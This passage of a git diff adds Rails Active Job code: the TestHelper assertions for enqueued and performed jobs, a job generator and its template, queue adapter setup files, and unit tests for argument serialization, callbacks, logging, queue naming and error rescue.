+end
diff --git a/activejob/lib/active_job/test_case.rb b/activejob/lib/active_job/test_case.rb
new file mode 100644
index 0000000000..d894a7b5cd
--- /dev/null
+++ b/activejob/lib/active_job/test_case.rb
@@ -0,0 +1,7 @@
+require 'active_support/test_case'
+
+module ActiveJob
+ class TestCase < ActiveSupport::TestCase
+ include ActiveJob::TestHelper
+ end
+end
diff --git a/activejob/lib/active_job/test_helper.rb b/activejob/lib/active_job/test_helper.rb
new file mode 100644
index 0000000000..1720b140e5
--- /dev/null
+++ b/activejob/lib/active_job/test_helper.rb
@@ -0,0 +1,218 @@
+module ActiveJob
+ # Provides helper methods for testing Active Job
+ module TestHelper
+ extend ActiveSupport::Concern
+
+ included do
+ def before_setup
+ @old_queue_adapter = queue_adapter
+ ActiveJob::Base.queue_adapter = :test
+ clear_enqueued_jobs
+ clear_performed_jobs
+ super
+ end
+
+ def after_teardown
+ super
+ ActiveJob::Base.queue_adapter = @old_queue_adapter
+ end
+
+ # Asserts that the number of enqueued jobs matches the given number.
+ #
+ # def test_jobs
+ # assert_enqueued_jobs 0
+ # HelloJob.perform_later('david')
+ # assert_enqueued_jobs 1
+ # HelloJob.perform_later('abdelkader')
+ # assert_enqueued_jobs 2
+ # end
+ #
+ # If a block is passed, that block should cause the specified number of
+ # jobs to be enqueued.
+ #
+ # def test_jobs_again
+ # assert_enqueued_jobs 1 do
+ # HelloJob.perform_later('cristian')
+ # end
+ #
+ # assert_enqueued_jobs 2 do
+ # HelloJob.perform_later('aaron')
+ # HelloJob.perform_later('rafael')
+ # end
+ # end
+ def assert_enqueued_jobs(number)
+ if block_given?
+ original_count = enqueued_jobs.size
+ yield
+ new_count = enqueued_jobs.size
+ assert_equal original_count + number, new_count,
+ "#{number} jobs expected, but #{new_count - original_count} were enqueued"
+ else
+ enqueued_jobs_size = enqueued_jobs.size
+ assert_equal number, enqueued_jobs_size, "#{number} jobs expected, but #{enqueued_jobs_size} were enqueued"
+ end
+ end
+
+ # Asserts that no jobs have been enqueued.
+ #
+ # def test_jobs
+ # assert_no_enqueued_jobs
+ # HelloJob.perform_later('jeremy')
+ # assert_enqueued_jobs 1
+ # end
+ #
+ # If a block is passed, that block should not cause any job to be enqueued.
+ #
+ # def test_jobs_again
+ # assert_no_enqueued_jobs do
+ # # No job should be enqueued from this block
+ # end
+ # end
+ #
+ # Note: This assertion is simply a shortcut for:
+ #
+ # assert_enqueued_jobs 0, &block
+ def assert_no_enqueued_jobs(&block)
+ assert_enqueued_jobs 0, &block
+ end
+
+ # Asserts that the number of performed jobs matches the given number.
+ # If no block is passed, <tt>perform_enqueued_jobs</tt>
+ # must be called around the job call.
+ #
+ # def test_jobs
+ # assert_performed_jobs 0
+ #
+ # perform_enqueued_jobs do
+ # HelloJob.perform_later('xavier')
+ # end
+ # assert_performed_jobs 1
+ #
+ # perform_enqueued_jobs do
+ # HelloJob.perform_later('yves')
+ # assert_performed_jobs 2
+ # end
+ # end
+ #
+ # If a block is passed, that block should cause the specified number of
+ # jobs to be performed.
+ #
+ # def test_jobs_again
+ # assert_performed_jobs 1 do
+ # HelloJob.perform_later('robin')
+ # end
+ #
+ # assert_performed_jobs 2 do
+ # HelloJob.perform_later('carlos')
+ # HelloJob.perform_later('sean')
+ # end
+ # end
+ def assert_performed_jobs(number)
+ if block_given?
+ original_count = performed_jobs.size
+ perform_enqueued_jobs { yield }
+ new_count = performed_jobs.size
+ assert_equal original_count + number, new_count,
+ "#{number} jobs expected, but #{new_count - original_count} were performed"
+ else
+ performed_jobs_size = performed_jobs.size
+ assert_equal number, performed_jobs_size, "#{number} jobs expected, but #{performed_jobs_size} were performed"
+ end
+ end
+
+ # Asserts that no jobs have been performed.
+ #
+ # def test_jobs
+ # assert_no_performed_jobs
+ #
+ # perform_enqueued_jobs do
+ # HelloJob.perform_later('matthew')
+ # assert_performed_jobs 1
+ # end
+ # end
+ #
+ # If a block is passed, that block should not cause any job to be performed.
+ #
+ # def test_jobs_again
+ # assert_no_performed_jobs do
+ # # No job should be performed from this block
+ # end
+ # end
+ #
+ # Note: This assertion is simply a shortcut for:
+ #
+ # assert_performed_jobs 0, &block
+ def assert_no_performed_jobs(&block)
+ assert_performed_jobs 0, &block
+ end
+
+ # Asserts that the job passed in the block has been enqueued with the given arguments.
+ #
+ # def test_assert_enqueued_with
+ # assert_enqueued_with(job: MyJob, args: [1,2,3], queue: 'low') do
+ # MyJob.perform_later(1,2,3)
+ # end
+ # end
+ def assert_enqueued_with(args = {}, &_block)
+ original_enqueued_jobs = enqueued_jobs.dup
+ clear_enqueued_jobs
+ args.assert_valid_keys(:job, :args, :at, :queue)
+ yield
+ matching_job = enqueued_jobs.any? do |job|
+ args.all? { |key, value| value == job[key] }
+ end
+ assert matching_job, "No enqueued job found with #{args}"
+ ensure
+ queue_adapter.enqueued_jobs = original_enqueued_jobs + enqueued_jobs
+ end
+
+ # Asserts that the job passed in the block has been performed with the given arguments.
+ #
+ # def test_assert_performed_with
+ # assert_performed_with(job: MyJob, args: [1,2,3], queue: 'high') do
+ # MyJob.perform_later(1,2,3)
+ # end
+ # end
+ def assert_performed_with(args = {}, &_block)
+ original_performed_jobs = performed_jobs.dup
+ clear_performed_jobs
+ args.assert_valid_keys(:job, :args, :at, :queue)
+ perform_enqueued_jobs { yield }
+ matching_job = performed_jobs.any? do |job|
+ args.all? { |key, value| value == job[key] }
+ end
+ assert matching_job, "No performed job found with #{args}"
+ ensure
+ queue_adapter.performed_jobs = original_performed_jobs + performed_jobs
+ end
+
+ def perform_enqueued_jobs
+ @old_perform_enqueued_jobs = queue_adapter.perform_enqueued_jobs
+ @old_perform_enqueued_at_jobs = queue_adapter.perform_enqueued_at_jobs
+ queue_adapter.perform_enqueued_jobs = true
+ queue_adapter.perform_enqueued_at_jobs = true
+ yield
+ ensure
+ queue_adapter.perform_enqueued_jobs = @old_perform_enqueued_jobs
+ queue_adapter.perform_enqueued_at_jobs = @old_perform_enqueued_at_jobs
+ end
+
+ def queue_adapter
+ ActiveJob::Base.queue_adapter
+ end
+
+ delegate :enqueued_jobs, :enqueued_jobs=,
+ :performed_jobs, :performed_jobs=,
+ to: :queue_adapter
+
+ private
+ def clear_enqueued_jobs
+ enqueued_jobs.clear
+ end
+
+ def clear_performed_jobs
+ performed_jobs.clear
+ end
+ end
+ end
+end
diff --git a/activejob/lib/active_job/version.rb b/activejob/lib/active_job/version.rb
new file mode 100644
index 0000000000..971ba9fe0c
--- /dev/null
+++ b/activejob/lib/active_job/version.rb
@@ -0,0 +1,8 @@
+require_relative 'gem_version'
+
+module ActiveJob
+ # Returns the version of the currently loaded Active Job as a <tt>Gem::Version</tt>
+ def self.version
+ gem_version
+ end
+end
diff --git a/activejob/lib/rails/generators/job/job_generator.rb b/activejob/lib/rails/generators/job/job_generator.rb
new file mode 100644
index 0000000000..979ffcb748
--- /dev/null
+++ b/activejob/lib/rails/generators/job/job_generator.rb
@@ -0,0 +1,24 @@
+require 'rails/generators/named_base'
+
+module Rails
+ module Generators # :nodoc:
+ class JobGenerator < Rails::Generators::NamedBase # :nodoc:
+ desc 'This generator creates an active job file at app/jobs'
+
+ class_option :queue, type: :string, default: 'default', desc: 'The queue name for the generated job'
+
+ check_class_collision suffix: 'Job'
+
+ hook_for :test_framework
+
+ def self.default_generator_root
+ File.dirname(__FILE__)
+ end
+
+ def create_job_file
+ template 'job.rb', File.join('app/jobs', class_path, "#{file_name}_job.rb")
+ end
+
+ end
+ end
+end
diff --git a/activejob/lib/rails/generators/job/templates/job.rb b/activejob/lib/rails/generators/job/templates/job.rb
new file mode 100644
index 0000000000..462c71d917
--- /dev/null
+++ b/activejob/lib/rails/generators/job/templates/job.rb
@@ -0,0 +1,9 @@
+<% module_namespacing do -%>
+class <%= class_name %>Job < ActiveJob::Base
+ queue_as :<%= options[:queue] %>
+
+ def perform(*args)
+ # Do something later
+ end
+end
+<% end -%>
diff --git a/activejob/test/adapters/backburner.rb b/activejob/test/adapters/backburner.rb
new file mode 100644
index 0000000000..65d05f850b
--- /dev/null
+++ b/activejob/test/adapters/backburner.rb
@@ -0,0 +1,3 @@
+require 'support/backburner/inline'
+
+ActiveJob::Base.queue_adapter = :backburner \ No newline at end of file
diff --git a/activejob/test/adapters/delayed_job.rb b/activejob/test/adapters/delayed_job.rb
new file mode 100644
index 0000000000..afd9c9deb7
--- /dev/null
+++ b/activejob/test/adapters/delayed_job.rb
@@ -0,0 +1,7 @@
+ActiveJob::Base.queue_adapter = :delayed_job
+
+$LOAD_PATH << File.dirname(__FILE__) + "/../support/delayed_job"
+
+Delayed::Worker.delay_jobs = false
+Delayed::Worker.backend = :test
+
diff --git a/activejob/test/adapters/inline.rb b/activejob/test/adapters/inline.rb
new file mode 100644
index 0000000000..e0092552c4
--- /dev/null
+++ b/activejob/test/adapters/inline.rb
@@ -0,0 +1 @@
+ActiveJob::Base.queue_adapter = :inline \ No newline at end of file
diff --git a/activejob/test/adapters/qu.rb b/activejob/test/adapters/qu.rb
new file mode 100644
index 0000000000..7728c843b4
--- /dev/null
+++ b/activejob/test/adapters/qu.rb
@@ -0,0 +1,3 @@
+require 'qu-immediate'
+
+ActiveJob::Base.queue_adapter = :qu
diff --git a/activejob/test/adapters/que.rb b/activejob/test/adapters/que.rb
new file mode 100644
index 0000000000..e6abc57457
--- /dev/null
+++ b/activejob/test/adapters/que.rb
@@ -0,0 +1,4 @@
+require 'support/que/inline'
+
+ActiveJob::Base.queue_adapter = :que
+Que.mode = :sync
diff --git a/activejob/test/adapters/queue_classic.rb b/activejob/test/adapters/queue_classic.rb
new file mode 100644
index 0000000000..ad5ced3cc2
--- /dev/null
+++ b/activejob/test/adapters/queue_classic.rb
@@ -0,0 +1,2 @@
+require 'support/queue_classic/inline'
+ActiveJob::Base.queue_adapter = :queue_classic
diff --git a/activejob/test/adapters/resque.rb b/activejob/test/adapters/resque.rb
new file mode 100644
index 0000000000..af7080358d
--- /dev/null
+++ b/activejob/test/adapters/resque.rb
@@ -0,0 +1,2 @@
+ActiveJob::Base.queue_adapter = :resque
+Resque.inline = true
diff --git a/activejob/test/adapters/sidekiq.rb b/activejob/test/adapters/sidekiq.rb
new file mode 100644
index 0000000000..cd9d2034de
--- /dev/null
+++ b/activejob/test/adapters/sidekiq.rb
@@ -0,0 +1,2 @@
+require 'sidekiq/testing/inline'
+ActiveJob::Base.queue_adapter = :sidekiq
diff --git a/activejob/test/adapters/sneakers.rb b/activejob/test/adapters/sneakers.rb
new file mode 100644
index 0000000000..204166a700
--- /dev/null
+++ b/activejob/test/adapters/sneakers.rb
@@ -0,0 +1,2 @@
+require 'support/sneakers/inline'
+ActiveJob::Base.queue_adapter = :sneakers
diff --git a/activejob/test/adapters/sucker_punch.rb b/activejob/test/adapters/sucker_punch.rb
new file mode 100644
index 0000000000..d2d1712946
--- /dev/null
+++ b/activejob/test/adapters/sucker_punch.rb
@@ -0,0 +1,2 @@
+require 'sucker_punch/testing/inline'
+ActiveJob::Base.queue_adapter = :sucker_punch
diff --git a/activejob/test/cases/adapter_test.rb b/activejob/test/cases/adapter_test.rb
new file mode 100644
index 0000000000..4fc235ae40
--- /dev/null
+++ b/activejob/test/cases/adapter_test.rb
@@ -0,0 +1,8 @@
+require 'helper'
+
+class AdapterTest < ActiveSupport::TestCase
+ test "should load #{ENV['AJADAPTER']} adapter" do
+ ActiveJob::Base.queue_adapter = ENV['AJADAPTER'].to_sym
+ assert_equal ActiveJob::Base.queue_adapter, "active_job/queue_adapters/#{ENV['AJADAPTER']}_adapter".classify.constantize
+ end
+end
diff --git a/activejob/test/cases/argument_serialization_test.rb b/activejob/test/cases/argument_serialization_test.rb
new file mode 100644
index 0000000000..dbe36fc572
--- /dev/null
+++ b/activejob/test/cases/argument_serialization_test.rb
@@ -0,0 +1,84 @@
+require 'helper'
+require 'active_job/arguments'
+require 'models/person'
+require 'active_support/core_ext/hash/indifferent_access'
+
+class ArgumentSerializationTest < ActiveSupport::TestCase
+ setup do
+ @person = Person.find('5')
+ end
+
+ [ nil, 1, 1.0, 1_000_000_000_000_000_000_000,
+ 'a', true, false,
+ [ 1, 'a' ],
+ { 'a' => 1 }
+ ].each do |arg|
+ test "serializes #{arg.class} verbatim" do
+ assert_arguments_unchanged arg
+ end
+ end
+
+ [ :a, Object.new, self, Person.find('5').to_gid ].each do |arg|
+ test "does not serialize #{arg.class}" do
+ assert_raises ActiveJob::SerializationError do
+ ActiveJob::Arguments.serialize [ arg ]
+ end
+
+ assert_raises ActiveJob::DeserializationError do
+ ActiveJob::Arguments.deserialize [ arg ]
+ end
+ end
+ end
+
+ test 'should convert records to Global IDs' do
+ assert_arguments_roundtrip [@person], ['_aj_globalid' => @person.to_gid.to_s]
+ end
+
+ test 'should dive deep into arrays and hashes' do
+ assert_arguments_roundtrip [3, [@person]], [3, ['_aj_globalid' => @person.to_gid.to_s]]
+ assert_arguments_roundtrip [{ 'a' => @person }], [{ 'a' => { '_aj_globalid' => @person.to_gid.to_s }}.with_indifferent_access]
+ end
+
+ test 'should stringify symbol hash keys' do
+ assert_equal [ 'a' => 1 ], ActiveJob::Arguments.serialize([ a: 1 ])
+ end
+
+ test 'should disallow non-string/symbol hash keys' do
+ assert_raises ActiveJob::SerializationError do
+ ActiveJob::Arguments.serialize [ { 1 => 2 } ]
+ end
+
+ assert_raises ActiveJob::SerializationError do
+ ActiveJob::Arguments.serialize [ { :a => [{ 2 => 3 }] } ]
+ end
+
+ assert_raises ActiveJob::SerializationError do
+ ActiveJob::Arguments.serialize [ '_aj_globalid' => 1 ]
+ end
+
+ assert_raises ActiveJob::SerializationError do
+ ActiveJob::Arguments.serialize [ :_aj_globalid => 1 ]
+ end
+ end
+
+ test 'should not allow non-primitive objects' do
+ assert_raises ActiveJob::SerializationError do
+ ActiveJob::Arguments.serialize [Object.new]
+ end
+
+ assert_raises ActiveJob::SerializationError do
+ ActiveJob::Arguments.serialize [1, [Object.new]]
+ end
+ end
+
+ private
+ def assert_arguments_unchanged(*args)
+ assert_arguments_roundtrip args, args
+ end
+
+ def assert_arguments_roundtrip(args, expected_serialized_args)
+ serialized = ActiveJob::Arguments.serialize(args)
+ assert_equal expected_serialized_args, serialized
+ assert_equal args, ActiveJob::Arguments.deserialize(serialized)
+ end
+end
diff --git a/activejob/test/cases/callbacks_test.rb b/activejob/test/cases/callbacks_test.rb
new file mode 100644
index 0000000000..9af2380767
--- /dev/null
+++ b/activejob/test/cases/callbacks_test.rb
@@ -0,0 +1,23 @@
+require 'helper'
+require 'jobs/callback_job'
+
+require 'active_support/core_ext/object/inclusion'
+
+class CallbacksTest < ActiveSupport::TestCase
+ test 'perform callbacks' do
+ performed_callback_job = CallbackJob.new("A-JOB-ID")
+ performed_callback_job.perform_now
+ assert "CallbackJob ran before_perform".in? performed_callback_job.history
+ assert "CallbackJob ran after_perform".in? performed_callback_job.history
+ assert "CallbackJob ran around_perform_start".in? performed_callback_job.history
+ assert "CallbackJob ran around_perform_stop".in? performed_callback_job.history
+ end
+
+ test 'enqueue callbacks' do
+ enqueued_callback_job = CallbackJob.perform_later
+ assert "CallbackJob ran before_enqueue".in? enqueued_callback_job.history
+ assert "CallbackJob ran after_enqueue".in? enqueued_callback_job.history
+ assert "CallbackJob ran around_enqueue_start".in? enqueued_callback_job.history
+ assert "CallbackJob ran around_enqueue_stop".in? enqueued_callback_job.history
+ end
+end
diff --git a/activejob/test/cases/job_serialization_test.rb b/activejob/test/cases/job_serialization_test.rb
new file mode 100644
index 0000000000..db22783030
--- /dev/null
+++ b/activejob/test/cases/job_serialization_test.rb
@@ -0,0 +1,15 @@
+require 'helper'
+require 'jobs/gid_job'
+require 'models/person'
+
+class JobSerializationTest < ActiveSupport::TestCase
+ setup do
+ JobBuffer.clear
+ @person = Person.find(5)
+ end
+
+ test 'serialize job with gid' do
+ GidJob.perform_later @person
+ assert_equal "Person with ID: 5", JobBuffer.last_value
+ end
+end
diff --git a/activejob/test/cases/logging_test.rb b/activejob/test/cases/logging_test.rb
new file mode 100644
index 0000000000..3d4e561117
--- /dev/null
+++ b/activejob/test/cases/logging_test.rb
@@ -0,0 +1,105 @@
+require 'helper'
+require "active_support/log_subscriber/test_helper"
+require 'active_support/core_ext/numeric/time'
+require 'jobs/hello_job'
+require 'jobs/logging_job'
+require 'jobs/nested_job'
+
+class AdapterTest < ActiveSupport::TestCase
+ include ActiveSupport::LogSubscriber::TestHelper
+ include ActiveSupport::Logger::Severity
+
+ class TestLogger < ActiveSupport::Logger
+ def initialize
+ @file = StringIO.new
+ super(@file)
+ end
+
+ def messages
+ @file.rewind
+ @file.read
+ end
+ end
+
+ def setup
+ super
+ JobBuffer.clear
+ @old_logger = ActiveJob::Base.logger
+ @logger = ActiveSupport::TaggedLogging.new(TestLogger.new)
+ set_logger @logger
+ ActiveJob::Logging::LogSubscriber.attach_to :active_job
+ end
+
+ def teardown
+ super
+ ActiveJob::Logging::LogSubscriber.log_subscribers.pop
+ set_logger @old_logger
+ end
+
+ def set_logger(logger)
+ ActiveJob::Base.logger = logger
+ end
+
+
+ def test_uses_active_job_as_tag
+ HelloJob.perform_later "Cristian"
+ assert_match(/\[ActiveJob\]/, @logger.messages)
+ end
+
+ def test_uses_job_name_as_tag
+ LoggingJob.perform_later "Dummy"
+ assert_match(/\[LoggingJob\]/, @logger.messages)
+ end
+
+ def test_uses_job_id_as_tag
+ LoggingJob.perform_later "Dummy"
+ assert_match(/\[LOGGING-JOB-ID\]/, @logger.messages)
+ end
+
+ def test_logs_correct_queue_name
+ original_queue_name = LoggingJob.queue_name
+ LoggingJob.queue_as :php_jobs
+ LoggingJob.perform_later("Dummy")
+ assert_match(/to .*?\(php_jobs\).*/, @logger.messages)
+ ensure
+ LoggingJob.queue_name = original_queue_name
+ end
+
+ def test_enqueue_job_logging
+ HelloJob.perform_later "Cristian"
+ assert_match(/Enqueued HelloJob \(Job ID: .*?\) to .*?:.*Cristian/, @logger.messages)
+ end
+
+ def test_perform_job_logging
+ LoggingJob.perform_later "Dummy"
+ assert_match(/Performing LoggingJob from .*? with arguments:.*Dummy/, @logger.messages)
+ assert_match(/Dummy, here is it: Dummy/, @logger.messages)
+ assert_match(/Performed LoggingJob from .*? in .*ms/, @logger.messages)
+ end
+
+ def test_perform_nested_jobs_logging
+ NestedJob.perform_later
+ assert_match(/\[LoggingJob\] \[.*?\]/, @logger.messages)
+ assert_match(/\[ActiveJob\] Enqueued NestedJob \(Job ID: .*\) to/, @logger.messages)
+ assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performing NestedJob from/, @logger.messages)
+ assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Enqueued LoggingJob \(Job ID: .*?\) to .* with arguments: "NestedJob"/, @logger.messages)
+ assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performing LoggingJob from .* with arguments: "NestedJob"/, @logger.messages)
+ assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Dummy, here is it: NestedJob/, @logger.messages)
+ assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performed LoggingJob from .* in/, @logger.messages)
+ assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performed NestedJob from .* in/, @logger.messages)
+ end
+
+ def test_enqueue_at_job_logging
+ HelloJob.set(wait_until: 24.hours.from_now).perform_later "Cristian"
+ assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
+ rescue NotImplementedError
+ skip
+ end
+
+ def test_enqueue_in_job_logging
+ HelloJob.set(wait: 2.seconds).perform_later "Cristian"
+ assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
+ rescue NotImplementedError
+ skip
+ end
+end
diff --git a/activejob/test/cases/queue_naming_test.rb b/activejob/test/cases/queue_naming_test.rb
new file mode 100644
index 0000000000..898016a704
--- /dev/null
+++ b/activejob/test/cases/queue_naming_test.rb
@@ -0,0 +1,102 @@
+require 'helper'
+require 'jobs/hello_job'
+require 'jobs/logging_job'
+require 'jobs/nested_job'
+
+class QueueNamingTest < ActiveSupport::TestCase
+ test 'name derived from base' do
+ assert_equal "default", HelloJob.queue_name
+ end
+
+ test 'uses given queue name job' do
+ original_queue_name = HelloJob.queue_name
+
+ begin
+ HelloJob.queue_as :greetings
+ assert_equal "greetings", HelloJob.new.queue_name
+ ensure
+ HelloJob.queue_name = original_queue_name
+ end
+ end
+
+ test 'allows a blank queue name' do
+ original_queue_name = HelloJob.queue_name
+
+ begin
+ HelloJob.queue_as ""
+ assert_equal "", HelloJob.new.queue_name
+ ensure
+ HelloJob.queue_name = original_queue_name
+ end
+ end
+
+ test 'does not use a nil queue name' do
+ original_queue_name = HelloJob.queue_name
+
+ begin
+ HelloJob.queue_as nil
+ assert_equal "default", HelloJob.new.queue_name
+ ensure
+ HelloJob.queue_name = original_queue_name
+ end
+ end
+
+ test 'evals block given to queue_as to determine queue' do
+ original_queue_name = HelloJob.queue_name
+
+ begin
+ HelloJob.queue_as { :another }
+ assert_equal "another", HelloJob.new.queue_name
+ ensure
+ HelloJob.queue_name = original_queue_name
+ end
+ end
+
+ test 'can use arguments to determine queue_name in queue_as block' do
+ original_queue_name = HelloJob.queue_name
+
+ begin
+ HelloJob.queue_as { self.arguments.first=='1' ? :one : :two }
+ assert_equal "one", HelloJob.new('1').queue_name
+ assert_equal "two", HelloJob.new('3').queue_name
+ ensure
+ HelloJob.queue_name = original_queue_name
+ end
+ end
+
+ test 'queue_name_prefix prepended to the queue name with default delimiter' do
+ original_queue_name_prefix = ActiveJob::Base.queue_name_prefix
+ original_queue_name = HelloJob.queue_name
+
+ begin
+ ActiveJob::Base.queue_name_prefix = 'aj'
+ HelloJob.queue_as :low
+ assert_equal 'aj_low', HelloJob.queue_name
+ ensure
+ ActiveJob::Base.queue_name_prefix = original_queue_name_prefix
+ HelloJob.queue_name = original_queue_name
+ end
+ end
+
+ test 'queue_name_prefix prepended to the queue name with custom delimiter' do
+ original_queue_name_prefix = ActiveJob::Base.queue_name_prefix
+ original_queue_name_delimiter = ActiveJob::Base.queue_name_delimiter
+ original_queue_name = HelloJob.queue_name
+
+ begin
+ ActiveJob::Base.queue_name_delimiter = '.'
+ ActiveJob::Base.queue_name_prefix = 'aj'
+ HelloJob.queue_as :low
+ assert_equal 'aj.low', HelloJob.queue_name
+ ensure
+ ActiveJob::Base.queue_name_prefix = original_queue_name_prefix
+ ActiveJob::Base.queue_name_delimiter = original_queue_name_delimiter
+ HelloJob.queue_name = original_queue_name
+ end
+ end
+
+ test 'uses queue passed to #set' do
+ job = HelloJob.set(queue: :some_queue).perform_later
+ assert_equal "some_queue", job.queue_name
+ end
+end
diff --git a/activejob/test/cases/queuing_test.rb b/activejob/test/cases/queuing_test.rb
new file mode 100644
index 0000000000..0eeabbf693
--- /dev/null
+++ b/activejob/test/cases/queuing_test.rb
@@ -0,0 +1,44 @@
+require 'helper'
+require 'jobs/hello_job'
+require 'active_support/core_ext/numeric/time'
+
+
+class QueuingTest < ActiveSupport::TestCase
+ setup do
+ JobBuffer.clear
+ end
+
+ test 'run queued job' do
+ HelloJob.perform_later
+ assert_equal "David says hello", JobBuffer.last_value
+ end
+
+ test 'run queued job with arguments' do
+ HelloJob.perform_later "Jamie"
+ assert_equal "Jamie says hello", JobBuffer.last_value
+ end
+
+ test 'run queued job later' do
+ begin
+ result = HelloJob.set(wait_until: 1.second.ago).perform_later "Jamie"
+ assert result
+ rescue NotImplementedError
+ skip
+ end
+ end
+
+ test 'job returned by enqueue has the arguments available' do
+ job = HelloJob.perform_later "Jamie"
+ assert_equal [ "Jamie" ], job.arguments
+ end
+
+
+ test 'job returned by perform_at has the timestamp available' do
+ begin
+ job = HelloJob.set(wait_until: Time.utc(2014, 1, 1)).perform_later
+ assert_equal Time.utc(2014, 1, 1).to_f, job.scheduled_at
+ rescue NotImplementedError
+ skip
+ end
+ end
+end
diff --git a/activejob/test/cases/rescue_test.rb b/activejob/test/cases/rescue_test.rb
new file mode 100644
index 0000000000..58c9ca8992
--- /dev/null
+++ b/activejob/test/cases/rescue_test.rb
@@ -0,0 +1,34 @@
+require 'helper'
+require 'jobs/rescue_job'
+require 'models/person'
+
+class RescueTest < ActiveSupport::TestCase
+ setup do
+ JobBuffer.clear
+ end
+
+ test 'rescue perform exception with retry' do
+ job = RescueJob.new("david")
+ job.perform_now
+ assert_equal [ "rescued from ArgumentError", "performed beautifully" ], JobBuffer.values
+ end
+
+ test 'let through unhandled perform exception' do
+ job = RescueJob.new("other")
+ assert_raises(RescueJob::OtherError) do
+ job.perform_now
+ end
+ end
+
+ test 'rescue from deserialization errors' do
+ RescueJob.perform_later Person.new(404)
+ assert_includes JobBuffer.values, 'rescued from DeserializationError'
+ assert_includes JobBuffer.values, 'DeserializationError original exception was Person::RecordNotFound'
+ assert_not_includes JobBuffer.values, 'performed beautifully'
+ end
+
+ test "should not wrap DeserializationError in DeserializationError" do
+ RescueJob.perform_later [Person.new(404)]
+ assert_includes JobBuffer.values, 'DeserializationError original exception was Person::RecordNotFound'
+ end
+end
diff --git a/activejob/test/cases/test_case_test.rb b/activejob/test/cases/test_case_test.rb
new file mode 100644
index 0000000000..1d0fdbd22d
--- /dev/null
+++ b/activejob/test/cases/test_case_test.rb
@@ -0,0 +1,14 @@
+require 'helper'
+require 'jobs/hello_job'
+require 'jobs/logging_job'
+require 'jobs/nested_job'
+
+class ActiveJobTestCaseTest < ActiveJob::TestCase
+ def test_include_helper
+ assert_includes self.class.ancestors, ActiveJob::TestHelper
+ end
+
+ def test_set_test_adapter
+ assert_instance_of ActiveJob::QueueAdapters::TestAdapter, self.queue_adapter
+ end
+end
diff --git a/activejob/test/cases/test_helper_test.rb b/activejob/test/cases/test_helper_test.rb
new file mode 100644
index 0000000000..784ede3674
--- /dev/null
+++ b/activejob/test/cases/test_helper_test.rb
@@ -0,0 +1,226 @@
+require 'helper'
+require 'active_support/core_ext/time'
+require 'active_support/core_ext/date'
+require 'jobs/hello_job'
+require 'jobs/logging_job'
+require 'jobs/nested_job'
+
+class EnqueuedJobsTest < ActiveJob::TestCase
+ def test_assert_enqueued_jobs
+ assert_nothing_raised do
+ assert_enqueued_jobs 1 do
+ HelloJob.perform_later('david')
+ end
+ end
+ end
+
+ def test_repeated_enqueued_jobs_calls
+ assert_nothing_raised do
+ assert_enqueued_jobs 1 do
+ HelloJob.perform_later('abdelkader')
+ end
+ end
+
+ assert_nothing_raised do
+ assert_enqueued_jobs 2 do
+ HelloJob.perform_later('sean')
+ HelloJob.perform_later('yves')
+ end
+ end
+ end
+
+ def test_assert_enqueued_jobs_with_no_block
+ assert_nothing_raised do
+ HelloJob.perform_later('rafael')
+ assert_enqueued_jobs 1
+ end
+
+ assert_nothing_raised do
+ HelloJob.perform_later('aaron')
+ HelloJob.perform_later('matthew')
+ assert_enqueued_jobs 3
+ end
+ end
+
+ def test_assert_no_enqueued_jobs_with_no_block
+ assert_nothing_raised do
+ assert_no_enqueued_jobs
+ end
+ end
+
+ def test_assert_no_enqueued_jobs
+ assert_nothing_raised do
+ assert_no_enqueued_jobs do
+ HelloJob.perform_now
+ end
+ end
+ end
+
+ def test_assert_enqueued_jobs_too_few_sent
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_enqueued_jobs 2 do
+ HelloJob.perform_later('xavier')
+ end
+ end
+
+ assert_match(/2 .* but 1/, error.message)
+ end
+
+ def test_assert_enqueued_jobs_too_many_sent
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_enqueued_jobs 1 do
+ HelloJob.perform_later('cristian')
+ HelloJob.perform_later('guillermo')
+ end
+ end
+
+ assert_match(/1 .* but 2/, error.message)
+ end
+
+ def test_assert_no_enqueued_jobs_failure
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_no_enqueued_jobs do
+ HelloJob.perform_later('jeremy')
+ end
+ end
+
+ assert_match(/0 .* but 1/, error.message)
+ end
+
+ def test_assert_enqueued_job
+ assert_enqueued_with(job: LoggingJob, queue: 'default') do
+ LoggingJob.set(wait_until: Date.tomorrow.noon).perform_later
+ end
+ end
+
+ def test_assert_enqueued_job_failure
+ assert_raise ActiveSupport::TestCase::Assertion do
+ assert_enqueued_with(job: LoggingJob, queue: 'default') do
+ NestedJob.perform_later
+ end
+ end
+
+ error = assert_raise ActiveSupport::TestCase::Assertion do
+ assert_enqueued_with(job: NestedJob, queue: 'low') do
+ NestedJob.perform_later
+ end
+ end
+
+ assert_equal 'No enqueued job found with {:job=>NestedJob, :queue=>"low"}', error.message
+ end
+
+ def test_assert_enqueued_job_args
+ assert_raise ArgumentError do
+ assert_enqueued_with(class: LoggingJob) do
+ NestedJob.set(wait_until: Date.tomorrow.noon).perform_later
+ end
+ end
+ end
+end
+
+class PerformedJobsTest < ActiveJob::TestCase
+ def test_assert_performed_jobs
+ assert_nothing_raised do
+ assert_performed_jobs 1 do
+ HelloJob.perform_later('david')
+ end
+ end
+ end
+
+ def test_repeated_performed_jobs_calls
+ assert_nothing_raised do
+ assert_performed_jobs 1 do
+ HelloJob.perform_later('abdelkader')
+ end
+ end
+
+ assert_nothing_raised do
+ assert_performed_jobs 2 do
+ HelloJob.perform_later('sean')
+ HelloJob.perform_later('yves')
+ end
+ end
+ end
+
+ def test_assert_performed_jobs_with_no_block
+ assert_nothing_raised do
+ perform_enqueued_jobs do
+ HelloJob.perform_later('rafael')
+ end
+ assert_performed_jobs 1
+ end
+
+ assert_nothing_raised do
+ perform_enqueued_jobs do
+ HelloJob.perform_later('aaron')
+ HelloJob.perform_later('matthew')
